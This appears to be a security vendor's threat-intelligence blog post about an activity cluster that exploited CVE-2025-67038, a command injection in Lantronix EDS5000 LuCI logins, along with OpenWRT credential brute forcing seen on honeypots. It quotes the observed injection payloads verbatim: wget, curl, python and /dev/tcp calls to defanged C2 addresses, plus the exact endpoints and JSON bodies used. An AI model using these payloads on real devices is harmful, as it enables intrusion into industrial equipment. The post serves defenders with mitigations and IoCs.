Key findings

  • We identified an activity cluster in our research honeypot, Chaya_006, targeting Lantronix serial-to-IP converters by exploiting CVE-2025-67038.
  • Exploitation occurred after a patch was released by Lantronix but before public details about the vulnerability were available. The exploited honeypot was not running the latest patched Lantronix firmware.
  • We observed 4,100+ brute force login attempts against devices running OpenWRT between January 28th and June 6th.
  • Approximately 32,000 internet-exposed devices are running OpenWRT LuCI, with publicly-available tools capable of brute forcing them.

This activity highlights how attackers are rapidly weaponizing vulnerabilities in edge and IoT devices—often before public disclosure—while simultaneously targeting widely deployed platforms like OpenWRT at scale.

Mitigation

  • Patch vulnerable Lantronix devices immediately. Lantronix released two firmware updates on February 20th 2026 that address the issues we disclosed on BRIDGE:BREAK – 2.2.0R1 for EDS5000 series and 3.2.0.0R2 for EDS3000 series.
  • Upgrade other devices running OpenWRT to the latest firmware versions.
  • Replace default credentials, and prohibit weak passwords, to reduce the risk of brute force attacks and exploitation of authenticated vulnerabilities.
  • Segment networks to prevent threat actors from reaching vulnerable devices, such as serial-to-IP converters, or using them to compromise other critical assets.

On April 21, we published BRIDGE:BREAK, a study of incidents targeting serial-to-IP converters in critical infrastructure and a set of new vulnerabilities affecting devices from Lantronix and Silex.

Upon reviewing logs on our Adversary Engagement Environment, we noticed that one of the vulnerabilities we disclosed, CVE-2025-67038, was exploited on a Lantronix honeypot on April 5. That was before we published our report but after the vulnerability was patched by Lantronix. This means the attackers did not use information from our report, but may have reverse-engineered the patch to build an exploit.

That exploit was part of a cluster of activity focusing on Lantronix that also included other reconnaissance actions. We named this cluster Chaya_006 and describe it in this blog, alongside other related activity and risk mitigation recommendations for asset owners that use Lantronix serial-to-IP converters or other OpenWRT-based devices on their networks.

CVE-2025-67038 and OpenWRT LuCI

CVE-2025-67038 is an unauthenticated OS command injection vulnerability affecting Lantronix EDS5000 series serial-to-IP converters. The vulnerability was patched by Lantronix on February 20th , published on NVD on March 11th , and detailed by us in a report on April 21st.

Lantronix EDS5000 devices are built on OpenWRT, a popular Linux-based operating system used in several routers and other types of equipment. OpenWRT implements a web interface called LuCI (an acronym for Lua Configuration Interface) used to configure several parameters of devices running the system.

This specific vulnerability happens because LuCI’s HTTP JSON-RPC module on affected devices writes a log entry after failed authentication attempts. The username is concatenated into the log string without input sanitization, and the log string is then executed on the system using os.execute. This can allow attackers to execute commands as root by injecting these commands into the username parameter of an authentication attempt on cgi-bin/luci/rpc/auth.

OpenWRT and LuCI are very popular software components. Our past research showed that many industrial routers, for instance, are based on this OS. There are many other vulnerabilities on LuCI that have been exploited in the past. A prime example is CVE-2023-1389, a command injection affecting TP-Link Archer AX21 routers, which is part of CISA KEV since 2023 and has been exploited by botnets such as AGoent, Gafgyt, Moobot, Mirai and others.

More vulnerabilities on LuCI endpoints in specific devices continue to be found at an alarming rate. Recent examples include CVE-2026-2670 on Advantech WISE-6610 and CVE-2026-11449 on GL.iNet GL-MT3000. Both have public proofs of concept available.

Chaya_006: Exploiting Lantronix EDS5000

Following our naming convention for activity clusters that are not attributed to any known threat actor or region, we decided to name this relevant cluster of exploits on Lantronix EDS5000 as Chaya_006. Below is a description of the activity that was part of Chaya_006 between April 5 and June 3.

April 5: Initial Requests and Exploits

On April 5, we observed 139 HTTP requests from 38.207.136[.]2 with user-agent curl/8.18.0 targeting the Lantronix EDS5000 honeypot.

The attacker first issued regular POST requests to /cgi-bin/luci/rpc/auth with body contents such as {"method":"login","params":["test","test"]} and {"method":"login","params":["admin","test"]}.

These were followed by initial command injection tests replacing the username inside the params variable with sleep commands, such as: {"method":"login","params":["$(sleep 5)","test"]} and {"method":"login","params":["$(sleep 3)","test"]}.

Finally, the attackers injected several commands to test capabilities of the target device via further requests to a server on 154[.]219[.]113[.]56. This is very similar to what we saw with Chaya_005, where threat actors developed a specific signature to test capabilities of vulnerable edge devices, especially Sierra Wireless industrial routers. The requests exploiting CVE-2025-67038 replaced the username in params with the following commands (defanged by us when adding “[]”):

  • $(wget http://154[.]219[.]113[.]56/lntxe1)
  • $(busybox wget -q http://154[.]219[.]113[.]56/lntxe2)
  • $(curl http://154[.]219[.]113[.]56/lntxe3)
  • $(wget -q -O /dev/null http://154[.]219[.]113[.]56/lntxe4)
  • $(/usr/bin/wget -q -O /dev/null http://154[.]219[.]113[.]56/lntxe5)
  • $(python -c 'import urllib;urllib.urlopen(\"http://154[.]219[.]113[.]56/lntxe6\")')
  • $(nslookup lntxe7.154.219.113.56.nip.io)
  • $(echo lntxe8 > /dev/tcp/154[.]219[.]113[.]56/80)
  • `wget http://154[.]219[.]113[.]56/lntxe9`
  • x\" > /dev/null; wget http://154[.]219[.]113[.]56/lntxea; echo \"

Each request ended with a string lntxe[1-a] where the lntxe very likely refers to Lantronix EDS – which means the attackers were fully aware of what they were testing against. All the requests happened in less than one minute, which means they were certainly automated. But this was unlikely to be a typical vulnerability scanner since we did not see similar requests in any other honeypots and the IP address originating these requests did not attempt any other vulnerability against other devices.

The last block of requests on April 5 focused on other LuCI URLs in the Lantronix device, especially those related to RPC methods. None of them were attempted exploitations but likely reconnaissance activities:

  • /cgi-bin/luci/admin/system/opkgexe/info
  • /cgi-bin/luci/rpc/sys with several variations of {"method":"<METHOD>","params":[]} in the body, where <METHOD> was one of boardinfo, list, exec, call, info, syslog, dmesg, packagelist, and memory.
  • /cgi-bin/luci/rpc/uci again with several body variations, where <METHOD> was one of get_all, get, foreach, changes and set.

April 6: New User Agent and Further Exploit Attempts

On April 6, we saw 67 further requests associated with Chaya_006, using the same IP address 38.207.136[.]2 but now with a new user agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36. The user agent change simulates a web browser and is likely to make traffic blend in more easily with benign requests.

Again, the threat actor started with requests that did not involve exploitation attempts. They reached several endpoints, some related to RPC (such as /ubus)and some not:

  • /api/
  • /cgi-bin/luci/admin/network/
  • /cgi-bin/luci/admin/services/
  • /cgi-bin/luci/admin/status
  • /cgi-bin/luci/admin/status/overview
  • /cgi-bin/luci/admin/system/
  • /status
  • /ubus
  • /version

After these initial requests, they attempted new command injections, but now on the luci_username parameter in the /cgi-bin/luci/ page. The requests had the following body content:

  • luci_username=admin%24(id)&luci_password=test
  • luci_username=admin%60wget+http%3A%2F%2F38.180.201.49%2Fltrx_eds5k_rpc%60&luci_password=test

Like on April 5, the first is a test command injection (using the id command instead of sleep) while the second instructs the vulnerable device to reach out to http[:]//38[.]180[.]201[.]49/ltrx_eds5k_rpc. Three things are different this time:

  • The exploit itself. This is not CVE-2025-67038 since the commands are being injected in a different variable on a different endpoint. Although this endpoint and variable are popular with brute-forcing attempts (see description below), we could not find a known CVE related to this specific combination — either for Lantronix EDS5000 or other OpenWRT-based devices. The closest we found was an
  • The IP address that the devices reaches out to: 180.201[.]49
  • The fingerprint string ltrx_eds5k_rpc that very clearly refers to Lantronix EDS5000 and RPC.

April 7  to June 3: Further Related Activity

After April, we did not see further vulnerability exploitation attempts, but we saw other activity targeting exclusively the Lantronix honeypot which is very likely related to Chaya_006.

On April 7, we saw the final six requests from 38.207.136[.]2, all with user-agent curl/8.14.1. They were simple GET requests to / or /cgi-bin/luci/.

On April 27, we saw further activity from two IP addresses, all with a new user-agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:150.0) Gecko/20100101 Firefox/150.0:

  • 59 requests from 59.124.166[.]52 to /cgi-bin/luci/rpc/auth/ with no signs of exploitation
  • 14 requests from 160.238.37[.]28 to /cgi-bin/luci/ with two interesting headers:
    • Proxy-Authorization: Basic VUg2WmNvSFhRSk5SN2k1bXg4bUpRREtpOk5VdDJ2amhGcnljNHUzQnJpQ3l2TWlGQw==
    • Accept-Language: zh-TW,zh;q=0.9,en-US;q=0.8,en;q=0.7

The first header contains credentials to authenticate to a proxy server, which should be used after the server responds to an initial request with 407 Proxy Authentication Required. This was not the case here. The header carries a Base64-encoded username and password pair, which decodes to the random values “UH6ZcoHXQJNR7i5mx8mJQDKi” for user and “NUt2vjhFryc4u3BriCyvMiFC” for password. These were not valid values in the honeypot and they may indicate another exploitation attempt via this header, although there is no further evidence of that.

The second header indicates the language and locale preferred by the client (in decreasing order of preference). In this case, it is set to prefer Chinese language as used in Taiwan, followed by English. This does not necessarily give away the attacker’s location as it can be a false flag (like the changing user-agent). However, the infrastructure analysis below points to a threat actor likely located in Asia.

Finally, on June 3 we saw 29 requests from 218.13.42[.]36 with user-agent openwrt-login-checker/2.0. These started with POST requests to /cgi-bin/luci and /luci/ with body luci_password=123456&luci_username=root but there were also requests to /cgi-bin/luci/rpc/auth and /ubus/

This last activity is clustered with Chaya_006 because we only observed it on the Lantronix honeypot. However, as we show below, there were at the same time other brute force attempts against several other honeypots, without using this distinctive user-agent. This means that this last piece may be part of a separate campaign.

Infrastructure Analysis

The following IP addresses were involved in Chaya_006.

IP Type Observed period Registration Country
38.207.136[.]2 Scanner Apr 5-7 Japan
160.238.37[.]28 Scanner Apr 27 South Korea
59.124.166[.]52 Scanner Apr 27 Taiwan
218.13.42[.]36 Scanner Jun 3 China
154.219.113[.]56 C2 Apr 5 Hong Kong
38.180.201[.]49 C2 Apr 6 Japan
154.219.113[.]56 C2 Apr 5 Hong Kong
38.180.201[.]49 C2 Apr 6 Japan

All addresses are registered in Asia, which may indicate the origin of the threat actor (together with the language settings seen on some request) or the use of local proxies.

The scanner IP addresses are likely compromised devices. The first two had several domains *.direct.quickconnect.to resolving to them in April. These domains are related to Synology’s QuickConnect service used to access NAS devices remotely. The fourth address had a large number of open ports when we analyzed it in June and Shodan tagged it as compromised.

The C2 addresses had no previous bad reputation and they are in different ASNs: AS401701 (cognetcloud INC) in the first case and AS9009 (M247 Europe SRL) in the second case. Neither is a known bulletproof hosting provider, but M247 has been used by several threat actors in the past.

Brute-forcing OpenWRT LuCI Credentials

Apart from Chaya_006, but parallel to it, between January 28 and June 6 there were over 4,100 requests against the Lantronix and other honeypots with brute force attempts against OpenWRT LuCI credentials. These requests came in three main ‘waves’:

  • 1,943 between March 29 and April 2
  • 1,849 between May 2 and May 6
  • 133 requests between May 29 and June 6

The requests had body content luci_username=<USER>&luci_password=<PASSWORD> where hundreds of combinations of USER and PASSWORD were attempted on the following URLs:

  • /cgi-bin/luci/admin/login – 237 requests with user-agent Go-http-client/1.1
  • /cgi-bin/luci/
    • 3,779 requests with user-agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    • 61 requests with user-agent Mozilla/5.0
    • 7 requests with user-agent Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36 and Accept-Language: zh-CN,zh;q=0.9

Different from Chaya_006, there were no injection attempts – only valid variations of username and passwords – and these were not exclusively directed to one honeypot, also hitting other devices running OpenWRT.

The volume and lack of targeting indicate an opportunistic campaign targeting systems running OpenWRT, which is relevant for asset owners to be aware of beyond Chaya_006.

There were four usernames and over 200 different passwords attempted, distributed as follows:

 

The attacks came from 15 IP addresses. Differently from Chaya_006, many of these addresses had previous bad reputation. The attacking addresses were distributed as follows:

 

We could not identify the tool the attackers used in the brute force attempts, but there are two relevant candidates:

  • An ongoing pull request was sent to Metasploit on March 1 to add a GL.iNet router brute force scanner. GL.iNet use OpenWRT LuCI and the same scanner could work against other targets.
  • A 2023 thread on Chinese-language forum 52PoJie shares Python code for an “OpenWRT admin password brute-force attack”

Neither matches the user-agents and other request details we saw in these attacks, but their source code could have inspired other tools. The diversity of user-agents we saw indicates the use of different tools. Two things stand out in the Chinese-language thread: the original author (lichen218) mentions that there are more than 40,000 exposed OpenWRT systems and they also say that “Next time, I’ll research Synology’s backend password brute-force method”

Using Shodan, we can see almost 32,000 internet-exposed devices currently running OpenWRT LuCI, although around 5,000 are marked as honeypots. There probably are many more devices running the system as we only searched for those that advertise LuCI on the HTML title, which is not the case of Lantronix for instance. These devices are distributed as follows:

Mitigation Recommendations

It is concerning that a vulnerability on a specific serial-to-IP converter, without a public PoC and full details, was seen exploited on a random honeypot so quickly after it was fixed. Vulnerabilities with public PoCs are integrated into botnets fast, but the behavior observed from Chaya_006 was not compatible with a typical botnet or vulnerability scanner.

It is also concerning that threat actors are brute forcing devices running OpenWRT LuCI. We observe thousands of brute force attempts over SSH, Telnet and other standard protocols every day, but brute forcing specific parameters of a web application is less common. It requires specialized scripts and an intent to target a specific type of device.

We recommend organizations to patch vulnerable Lantronix devices immediately. Lantronix has released two firmware updates that address the issues we disclosed on BRIDGE:BREAK – 2.2.0R1 for EDS5000 series and 3.2.0.0R2 for EDS3000 series. It is also important to upgrade other devices running OpenWRT on your network to the latest firmware versions.

In addition to patching, we recommend:

  • Replace default credentials, and prohibit weak passwords, to reduce the risk of brute force attacks and exploitation of authenticated vulnerabilities.
  • Segment networks to prevent threat actors from reaching vulnerable devices such as serial-to-IP converters, or using them to compromise other critical assets
    • First, ensure these devices are not exposed to the internet
    • Then, implement strict access controls for management interfaces (such as the Web UI) so only pre-approved users or management workstations can access them
    • Finally, consider dedicated subnetworks or VLANs where converter devices are only allowed to communicate with the serial equipment they manage and the IP-side devices that require access to that data
  • Monitor for exploitation attempts targeting serial-to-IP converters and edge devices running OpenWRT, and for anomalous communications to or from these devices.

IoCs

  • 207.136[.]2
  • 238.37[.]28
  • 124.166[.]52
  • 13.42[.]36
  • 219.113[.]56
  • 180.201[.]49
  • 148.181[.]195
  • 69.187[.]7
  • 24.250[.]0
  • 195.144[.]224
  • 245.189[.]138
  • 219.125[.]240
  • 165.210[.]167
  • 244.79[.]113
  • 232.124[.]188
  • 231.92[.]39
  • 142.140[.]52
  • 152.1[.]236
  • 185.159[.]193
  • 34.127[.]32
  • 132.200[.]168

Stay on top of the latest threats. Sign up for the Vedere Labs Threat Feed and get the full context in our monthly newsletter.